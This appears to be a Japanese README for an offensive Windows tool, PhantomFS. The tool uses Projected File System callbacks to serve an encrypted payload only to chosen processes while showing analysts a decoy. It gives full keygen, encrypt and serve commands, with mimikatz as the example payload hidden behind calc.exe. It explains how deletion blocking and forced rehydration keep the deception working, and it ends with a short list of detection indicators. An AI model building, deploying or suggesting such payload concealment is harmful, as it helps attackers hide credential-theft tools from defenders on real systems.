
Windowsのプロジェクテッドファイルシステム機能を利用し、許可されたプロセスにのみペイロードを提供する
ProjFS プロバイダー。ファイルの内容が、それを読み取るプロセスに依存するように投影します。ペイロードは AES-256-CBC で暗号化されてディスクに保存され、実行時にのみメモリ内で復号化されます。許可されたプロセスが読み取ろうとするとペイロードがディスクに書き込まれるため、これは EDR をバイパスするものではありません。それ以外のプロセスはアクセス拒否されます。これは一部のアナリストを怒らせるかもしれません。彼らのツールはそれを読み取れないか、単にデコイをロードするだけだからです。しかし、これは reparse point を使用した ProjFS であると簡単に見分けられます。
1) Generate key: PhantomFS.exe -keygen
2) Encrypt payload: PhantomFS.exe -encrypt mimikatz.exe -key <key> -out mimikatz.enc
3) Serve: PhantomFS.exe C:\Staging -file mimikatz.enc -key <key> -decoy C:\Windows\System32\calc.exe
Example:
PhantomFS.exe C:\Staging -file mimikatz.enc -key 7ed5a44412447be587b2ca2e4eacb17d41c869360663ae0fea1d0caca159483c -decoy C:\Windows\System32\calc.exe
結果: C:\Staging\calc.exe がファイルシステムに現れます。
cmd.exe が読み取ると、復号化された mimikatz のバイト列が得られますVS2022 で PhantomFS.sln を開き、x64 Release でビルドします。Windows SDK (ProjFS ヘッダー + ライブラリ) が必要です。
Enable-WindowsOptionalFeature -Online -FeatureName Client-ProjFS -NoRestart
プロバイダーは中整合性で実行され、管理者権限は不要です (ProjFS 機能の有効化には管理者権限が必要です)。
PhantomFS.exe -keygen
PhantomFS.exe -encrypt <input> -key <64_hex_chars> -out <output.enc>
フォーマット: [16バイトのランダムIV][AES-256-CBC暗号文(PKCS7パディング付き)]
PhantomFS.exe <root_dir> -file <payload.enc> -key <hex> -decoy <benign_file>
[-name <virtual_filename>]
[-allow <process_substring>] (repeatable, default: powershell.exe, pwsh.exe, cmd.exe)
[-deny-read <process_substring>] (repeatable)
[-quiet]
ProjFS コールバックは、すべてのファイルアクセス時に TriggeringProcessImageFileName を受け取ります:
GetFileDataCallback: プロセスをルールに照らし合わせ、ペイロードまたはデコイのバイト列を提供しますNotificationCallback PRE_DELETE: 許可されていないプロセスによる削除をブロックしますFILE_HANDLE_CLOSED: PrjDeleteFile を呼び出して強制的に再ハイドレートします再ハイドレーションのトリックが必要なのは、ProjFS が最初の読み取り後にファイルの内容をキャッシュするためです。これがないと、2番目のリーダーは最初のリーダーが受け取った内容をそのまま取得することになります。
PrjStartVirtualizing API 呼び出しIO_REPARSE_TAG_PROJFS 再解析ポイントPrjFlt ミニフィルター (fltmc.exe)Microsoft-Windows-ProjFS ETW プロバイダーインスピレーション: